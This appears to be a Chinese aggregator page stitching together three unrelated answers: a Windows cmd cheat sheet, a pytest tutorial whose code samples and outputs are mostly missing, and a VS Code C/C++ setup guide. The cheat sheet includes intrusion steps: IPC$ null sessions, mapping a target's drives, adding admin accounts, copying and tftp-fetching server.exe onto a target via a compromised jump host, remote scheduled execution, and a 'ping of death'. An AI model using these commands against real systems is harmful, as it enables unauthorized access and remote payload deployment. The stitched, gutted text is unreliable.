⑴ cmd命令,cmd高手請進!!!!1!50分獎賞之後追加好多分
非常全:
7:計算機運行命令全集 winver---------檢查Windows版本
wmimgmt.msc----打開windows管理體系結構
wupdmgr--------windows更新程序
winver---------檢查Windows版本
wmimgmt.msc----打開windows管理體系結構
wupdmgr--------windows更新程序
wscript--------windows腳本宿主設置
write----------寫字板winmsd-----系統信息
wiaacmgr-------掃描儀和照相機向導
winchat--------XP自帶區域網聊天
mem.exe--------顯示內存使用情況
Msconfig.exe---系統配置實用程序
mplayer2-------簡易widnows media player
mspaint--------畫圖板
mstsc----------遠程桌面連接
mplayer2-------媒體播放機
magnify--------放大鏡實用程序
mmc------------打開控制台
mobsync--------同步命令
dxdiag---------檢查DirectX信息
drwtsn32------ 系統醫生
devmgmt.msc--- 設備管理器
dfrg.msc-------磁碟碎片整理程序
diskmgmt.msc---磁碟管理實用程序
dcomcnfg-------打開系統組件服務
ddeshare-------打開DDE共享設置
dvdplay--------DVD播放器
net stop messenger-----停止信使服務
net start messenger----開始信使服務
notepad--------打開記事本
nslookup-------網路管理的工具向導
ntbackup-------系統備份和還原
narrator-------屏幕"講述人"
ntmsmgr.msc----移動存儲管理器
ntmsoprq.msc---移動存儲管理員操作請求
netstat -an----(TC)命令檢查介面
syncapp--------創建一個公文包
sysedit--------系統配置編輯器
sigverif-------文件簽名驗證程序
sndrec32-------錄音機
shrpubw--------創建共享文件夾
secpol.msc-----本地安全策略
syskey---------系統加密,一旦加密就不能解開,保護windows xp系統的雙重密碼
services.msc---本地服務設置
Sndvol32-------音量控製程序
sfc.exe--------系統文件檢查器
sfc /scannow---windows文件保護
tsshutdn-------60秒倒計時關機命令
tourstart------xp簡介(安裝完成後出現的漫遊xp程序)
taskmgr--------任務管理器
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打開資源管理器
packager-------對象包裝程序
perfmon.msc----計算機性能監測程序
progman--------程序管理器
regedit.exe----注冊表
rsop.msc-------組策略結果集
regedt32-------注冊表編輯器
rononce -p ----15秒關機
regsvr32 /u *.dll----停止dll文件運行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁碟檢查
certmgr.msc----證書管理實用程序
calc-----------啟動計算器
charmap--------啟動字元映射表
cliconfg-------SQL SERVER 客戶端網路實用程序
Clipbrd--------剪貼板查看器
conf-----------啟動netmeeting
compmgmt.msc---計算機管理
cleanmgr-------**整理
ciadv.msc------索引服務程序
osk------------打開屏幕鍵盤
odbcad32-------ODBC數據源管理器
oobe/msoobe /a----檢查XP是否激活
lusrmgr.msc----本機用戶和組
logoff---------注銷命令
iexpress-------木馬捆綁工具,系統自帶
Nslookup-------IP地址偵測器
fsmgmt.msc-----共享文件夾管理器
utilman--------輔助工具管理器
gpedit.msc-----組策略
net use ipipc$ " " /user:" " 建立IPC空鏈接
net use ipipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: ipc$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: ipc$ 登陸後映射對方C:到本地為H:
net use ipipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time 目標ip 查看對方時間
net time 目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件
二:
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符路徑要移動的文件名 存放移動文件的路徑移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑文件名1 路徑文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:srv.exe ipadmin$ 復制本地c:srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
ipadmin$svv.exe c: 或:ipadmin$*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:
x 要復制的文件或目錄樹 目標地址目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:server.exe 登陸後,將「IP」的server.exe下載到目標主機c:server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:server.exe 登陸後,上傳本地c:server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)
call 路徑批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:、D:統一改為:EntSky )
三:
ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D: est.txt /D pub 設定d: est.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況
四:
IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cp 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件許可權
case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cp 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip
#5 五:
MYSQL 命令:
mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by "密碼"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqlmp --opt school>school.bbb 備份資料庫:(命令在DOS的mysql in目錄下執行);注釋:將資料庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,范圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程載入的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。
⑵ Python - pytest
目錄
pytest是Python的單元測試框架,同自帶的unittest框架類似,但pytest框架使用起來更簡潔,效率更高。
pytest特點
安裝
測試
在測試之前要做的准備
我的演示腳本處於這樣一個的目錄中:
踩坑:你創建的pytest腳本名稱中不允許含有 . ,比如 1.簡單上手.py ,這樣會報錯。當然,可以這么寫 1-簡單上手.py
demo1.py :
上例中,當我們在執行(就像Python解釋器執行普通的Python腳本一樣)測試用例的時候, pytest.main(["-s", "demo1.py"]) 中的傳參需要是一個元組或者列表(我的pytest是5.2.2版本),之前的版本可能需要這么調用 pytest.main("-s demo1.py") ,傳的參數是str的形式,至於你使用哪種,取決於報不報錯:
遇到上述報錯,就是參數需要一個列表或者元組的形式,而我們使用的是str形式。
上述代碼正確的執行結果是這樣的:
大致的信息就是告訴我們:
pytest.main(["-s", "demo1.py"])參數說明
除了上述的函數這種寫法,也可以有用例類的寫法:
用法跟unittest差不多,類名要以 Test 開頭,並且其中的用例方法也要以 test 開頭,然後執行也一樣。
執行結果:
那麼,你這個時候可能會問,我記得unittest中有setup和teardown的方法,難道pytest中沒有嘛?你怎麼提都不提?穩住,答案是有的。
接下來,我們來研究一下pytest中的setup和teardown的用法。
我們知道,在unittest中,setup和teardown可以在每個用例前後執行,也可以在所有的用例集執行前後執行。那麼在pytest中,有以下幾種情況:
來一一看看各自的用法。
模塊級別setup_mole/teardown_mole
執行結果:
類級別的setup_class/teardown_class
執行結果:
類中方法級別的setup_method/teardown_method
執行結果:
函數級別的setup_function/teardown_function
執行結果:
小結
該腳本有多種運行方式,如果處於PyCharm環境,可以使用右鍵或者點擊運行按鈕運行,也就是在pytest中的主函數中運行:
也可以在命令行中運行:
這種方式,跟使用Python解釋器執行Python腳本沒有什麼兩樣。也可以如下面這么執行:
當然,還有一種是使用配置文件運行,來看看怎麼用。
在項目的根目錄下,我們可以建立一個 pytest.ini 文件,在這個文件中,我們可以實現相關的配置:
那這個配置文件中的各項都是什麼意思呢?
首先, pytest.ini 文件必須位於項目的根目錄,而且也必須叫做 pytest.ini 。
其他的參數:
OK,來個示例。
首先,(詳細目錄參考開頭的目錄結構)在 scripts/test_case_01.py 中:
在 scripts/test_case_dir1/test_case02.py 中:
那麼,在不同的目錄或者文件中,共有5個用例將被執行,而結果則是兩個失敗三個成功。來執行驗證一下,因為有了配置文件,我們在終端中(前提是在項目的根目錄),直接輸入 pytest 即可。
由執行結果可以發現, 2 failed, 3 passed ,跟我們的預期一致。
後續執行相關配置都來自配置文件,如果更改,會有相應說明,終端都是直接使用 pytest 執行。
我們知道在unittest中,跳過用例可以用 skip ,那麼這同樣是適用於pytest。
來看怎麼使用:
跳過用例,我們使用 @pytest.mark.skipif(condition, reason) :
然後將它裝飾在需要被跳過用例的的函數上面。
效果如下:
上例執行結果相對詳細,因為我們在配置文件中為 addopts 增加了 -v ,之前的示例結果中,沒有加!
另外,此時,在輸出的控制台中, 還無法列印出 reason 信息,如果需要列印,則可以在配置文件中的 addopts 參數的 -s 變為 -rs :
如果我們事先知道測試函數會執行失敗,但又不想直接跳過,而是希望顯示的提示。
Pytest 使用 pytest.mark.xfail 實現預見錯誤功能::
需要掌握的必傳參數的是:
那麼關於預期失敗的幾種情況需要了解一下:
結果如下:
pytest 使用 x 表示預見的失敗(XFAIL)。
如果預見的是失敗,但實際運行測試卻成功通過,pytest 使用 X 進行標記(XPASS)。
而在預期失敗的兩種情況中,我們不希望出現預期失敗,結果卻執行成功了的情況出現,因為跟我們想的不一樣嘛,我預期這條用例失敗,那這條用例就應該執行失敗才對,你雖然執行成功了,但跟我想的不一樣,你照樣是失敗的!
所以,我們需要將預期失敗,結果卻執行成功了的用例標記為執行失敗,可以在 pytest.ini 文件中,加入:
這樣就就把上述的情況標記為執行失敗了。
pytest身為強大的單元測試框架,那麼同樣支持DDT數據驅動測試的概念。也就是當對一個測試函數進行測試時,通常會給函數傳遞多組參數。比如測試賬號登陸,我們需要模擬各種千奇百怪的賬號密碼。
當然,我們可以把這些參數寫在測試函數內部進行遍歷。不過雖然參數眾多,但仍然是一個測試,當某組參數導致斷言失敗,測試也就終止了。
通過異常捕獲,我們可以保證程所有參數完整執行,但要分析測試結果就需要做不少額外的工作。
在 pytest 中,我們有更好的解決方法,就是參數化測試,即每組參數都獨立執行一次測試。使用的工具就是 pytest.mark.parametrize(argnames, argvalues) 。
使用就是以裝飾器的形式使用。
只有一個參數的測試用例
來看(重要部分)結果::
可以看到,列表內的每個手機號,都是一條測試用例。
多個參數的測試用例
(重要部分)結果:
可以看到,每一個手機號與每一個驗證碼都組合一起執行了,這樣就執行了4次。那麼如果有很多個組合的話,用例數將會更多。我們希望手機號與驗證碼一一對應組合,也就是只執行兩次,怎麼搞呢?
在多參數情況下,多個參數名是以 , 分割的字元串。參數值是列表嵌套的形式組成的。
固件(Fixture)是一些函數,pytest 會在執行測試函數之前(或之後)載入運行它們,也稱測試夾具。
我們可以利用固件做任何事情,其中最常見的可能就是資料庫的初始連接和最後關閉操作。
Pytest 使用 pytest.fixture() 定義固件,下面是最簡單的固件,訪問主頁前必須先登錄:
結果:
在之前的示例中,你可能會覺得,這跟之前的setup和teardown的功能也類似呀,但是,fixture相對於setup和teardown來說更靈活。pytest通過 scope 參數來控制固件的使用范圍,也就是作用域。
比如之前的login固件,可以指定它的作用域:
很多時候需要在測試前進行預處理(如新建資料庫連接),並在測試完成進行清理(關閉資料庫連接)。
當有大量重復的這類操作,最佳實踐是使用固件來自動化所有預處理和後處理。
Pytest 使用 yield 關鍵詞將固件分為兩部分, yield 之前的代碼屬於預處理,會在測試前執行; yield 之後的代碼屬於後處理,將在測試完成後執行。
以下測試模擬資料庫查詢,使用固件來模擬資料庫的連接關閉:
結果:
可以看到在兩個測試用例執行前後都有預處理和後處理。
pytest中還有非常多的插件供我們使用,我們來介紹幾個常用的。
先來看一個重要的,那就是生成測試用例報告。
想要生成測試報告,首先要有下載,才能使用。
下載
如果下載失敗,可以使用PyCharm下載,怎麼用PyCharm下載這里無需多言了吧。
使用
在配置文件中,添加參數:
效果很不錯吧!
沒完,看我大招
Allure框架是一個靈活的輕量級多語言測試報告工具,它不僅以web的方式展示了簡潔的測試結果,而且允許參與開發過程的每個人從日常執行的測試中最大限度的提取有用信息。
從開發人員(dev,developer)和質量保證人員(QA,Quality Assurance)的角度來看,Allure報告簡化了常見缺陷的統計:失敗的測試可以分為bug和被中斷的測試,還可以配置日誌、步驟、fixture、附件、計時、執行 歷史 以及與TMS和BUG管理系統集成,所以,通過以上配置,所有負責的開發人員和測試人員可以盡可能的掌握測試信息。
從管理者的角度來看,Allure提供了一個清晰的「大圖」,其中包括已覆蓋的特性、缺陷聚集的位置、執行時間軸的外觀以及許多其他方便的事情。allure的模塊化和可擴展性保證了我們總是能夠對某些東西進行微調。
少扯點,來看看怎麼使用。
Python的pytest中allure下載
但由於這個 allure-pytest 插件生成的測試報告不是 html 類型的,我們還需要使用allure工具再「加工」一下。所以說,我們還需要下載這個allure工具。
allure工具下載
在現在allure工具之前,它依賴Java環境,我們還需要先配置Java環境。
注意,如果你的電腦已經有了Java環境,就無需重新配置了。
配置完了Java環境,我們再來下載allure工具,我這里直接給出了網路雲盤鏈接,你也可以去其他鏈接中自行下載:
下載並解壓好了allure工具包之後,還需要將allure包內的 bin 目錄添加到系統的環境變數中。
完事後打開你的終端測試:
返回了版本號說明安裝成功。
使用
一般使用allure要經歷幾個步驟:
來看配置 pytest.ini :
就是 --alluredir ./report/result 參數。
在終端中輸入 pytest 正常執行測試用例即可:
執行完畢後,在項目的根目下,會自動生成一個 report 目錄,這個目錄下有:
接下來需要使用allure工具來生成HTML報告。
此時我們在終端(如果是windows平台,就是cmd),路徑是項目的根目錄,執行下面的命令。
PS:我在pycharm中的terminal輸入allure提示'allure' 不是內部或外部命令,也不是可運行的程序或批處理文件。但windows的終端沒有問題。
命令的意思是,根據 reportresult 目錄中的數據(這些數據是運行pytest後產生的)。在 report 目錄下新建一個 allure_html 目錄,而這個目錄內有 index.html 才是最終的allure版本的HTML報告;如果你是重復執行的話,使用 --clean 清除之前的報告。
結果很漂亮:
allure open
默認的,allure報告需要HTTP伺服器來打開,一般我們可以通過pycharm來完成,另外一種情況就是通過allure自帶的open命令來完成。
allure的其他用法
當然,故事還是沒有完!在使用allure生成報告的時候,在編寫用例階段,還可以有一些參數可以使用:
allure.title與allure.description
feature和story
由上圖可以看到,不同的用例被分為不同的功能中。
allure.severity
allure.severity 用來標識測試用例或者測試類的級別,分為blocker,critical,normal,minor,trivial5個級別。
severity的默認級別是normal,所以上面的用例5可以不添加裝飾器了。
allure.dynamic
在之前,用例的執行順序是從上到下依次執行:
正如上例的執行順序是 3 1 2 。
現在,來看看我們如何手動控制多個用例的執行順序,這里也依賴一個插件。
下載
使用
手動控制用例執行順序的方法是在給各用例添加一個裝飾器:
那麼, 現在的執行順序是 2 1 3 ,按照order指定的排序執行的。
如果有人較勁傳個0或者負數啥的,那麼它們的排序關系應該是這樣的:
失敗重試意思是指定某個用例執行失敗可以重新運行。
下載
使用
需要在 pytest.ini 文件中, 配置:
給 addopts 欄位新增(其他原有保持不變) --reruns=3 欄位,這樣如果有用例執行失敗,則再次執行,嘗試3次。
來看示例:
結果:
我們也可以從用例報告中看出重試的結果:
上面演示了用例失敗了,然後重新執行多少次都沒有成功,這是一種情況。
接下來,來看另一種情況,那就是用例執行失敗,重新執行次數內通過了,那麼剩餘的重新執行的次數將不再執行。
通過 random 模塊幫助我們演示出在某次執行中出現失敗的情況,而在重新執行的時候,會出現成功的情況,看結果:
可以看到,用例 02 重新執行了一次就成功了,剩餘的兩次執行就終止了。
一條一條用例的執行,肯定會很慢,來看如何並發的執行測試用例,當然這需要相應的插件。
下載
使用
在配置文件中添加:
就是這個 -n=auto :
並發的配置可以寫在配置文件中,然後其他正常的執行用例腳本即可。另外一種就是在終端中指定,先來看示例:
結果:
pytest-sugar 改變了 pytest 的默認外觀,添加了一個進度條,並立即顯示失敗的測試。它不需要配置,只需 下載插件即可,用 pytest 運行測試,來享受更漂亮、更有用的輸出。
下載
其他照舊執行用例即可。
pytest-cov 在 pytest 中增加了覆蓋率支持,來顯示哪些代碼行已經測試過,哪些還沒有。它還將包括項目的測試覆蓋率。
下載
使用
在配置文件中:
也就是配置 --cov=./scripts ,這樣,它就會統計所有 scripts 目錄下所有符合規則的腳本的測試覆蓋率。
執行的話,就照常執行就行。
結果:
更多插件參考:https://zhuanlan.hu.com/p/50317866
有的時候,在 pytest.ini 中配置了 pytest-html 和 allure 插件之後,執行後報錯:
出現了這個報錯,檢查你配置的解釋器中是否存在 pytest-html 和 allure-pytest 這兩個模塊。如果是使用的pycharm ide,那麼你除了檢查settings中的解釋器配置之外,還需要保證運行腳本的編輯器配置是否跟settings中配置一致。
⑶ vscode配置c/c++環境
區分編輯器、編譯器、IDE: 作者:C語言教學
編輯器就是處理文本(源碼)的程序,寫代碼寫的就是文本,編輯器可能提供智能提示、代碼高亮等輔助功能,但不負責源碼到二進制文件的操作;
編譯器就是負責將源碼文本翻譯成計算機能夠理解和執行的二進制文件的程序;
集成開發環境(IDE,Integrated Development Environment )是用於提供程序開發環境的應用程序,包括了代碼編輯器、編譯器、調試器和圖形用戶界面工具。集成了代碼編寫、分析、編譯、調試等一整套工具鏈。
什麼是搭建環境:
vscode定位代碼編輯器,不是IDE,不包含編譯功能,因此需要我們自己安裝編譯器、調試器等編譯器套件,並使兩者有效的配合起來,以實現快捷操作。把這一整套工具鏈整合到一起的過程就是我們所說的搭建環境。
ok,到這里,我們就清楚要做什麼了:獲取編輯器 -> 獲取編譯套裝(編譯器、調試器、頭文件庫等) -> 做好兩者之間的溝通工作(配置文件)
兩個東西:編輯器和編譯套裝
編輯器: VSCode
編譯套裝:win10:mingw-w64安裝教程
下載
https://code.visualstudio.com/
Stable:每個月會發布一個新的穩定版本
Insiders:
每天都會更新一次
可以和Stable共存,而且用戶配置、顏色主體等都是相互獨立的
VS Code 安裝完之後就會自動更新,你並不需要前往官網重新下載
安裝
(1) ubuntu
官網上下載.deb,然後執行如下命令:
sudo apt install ./xxx.deb
(2) windows
直接下一步
中文顯示
打開vscode,發現全是英文,我們先裝個漢化插件:
在插件視圖中,搜索並安裝Chinese (Simplified) Language Pack插件
Ctrl + Shift + P打開命令面板,輸入並執行Configure Display Language命令
選擇zh-cn選項
重啟
完全卸載
如果大家之前有安裝過VSCode,然後只是簡單卸載的話,再次安裝之後,是還出現之前的配置信息,包括打開的文件夾、安裝過的擴展等,這是因為之前並沒有完全將VSCode卸載干凈。如果想干凈卸載掉VSCode再重新安裝的話,就需要在卸載之後再刪除掉兩個目錄的內容。分別是:
C:Users$用戶名.vscode
C:Users$用戶名AppDataRoamingCode
安裝C/C++必備的插件
C/C++
安裝C/C++ Project Generator
示例一
在vscode中 ctrl+shift+p 打開菜單,在其中輸入 create c
這時會彈出一個窗口,讓你選中將源碼放到哪個工作空間上,這個我選擇C_Mutile,此時它會顯式
這兩個東西是啥呢?
先了解幾個概念:
命令行:命令行 或 命令行界面,是一種基於文本的用來查看、處理、和操作計算機上的文件和程序的工具。
終端/控制台:可以輸入命令行並顯示程序運行過程中的信息以及程序運行結果的窗口。 不必要嚴格區分這兩者的差別。
shell:終端自身並不執行用戶輸入的命令,它只是負責把輸入的內容傳送到主機系統,並把主機系統返回的結果呈現給用戶。負責解釋執行用戶輸入的命令並返回結果的,正是Shell,它是溝通用戶和系統內核的中間橋梁。
我們寫完代碼之後,可以通過命令行去編譯運行:
打開一個cmd終端
進入文件夾位置,然後gcc -o hello hello.c
但是每次都用命令行太麻煩了,怎麼樣才能更快捷呢?可以通過.vscode文件夾下的json配置文件來配置實現。這些json文件怎麼寫是由vscode開發團隊規定的(感興趣可以去看官方的文檔),
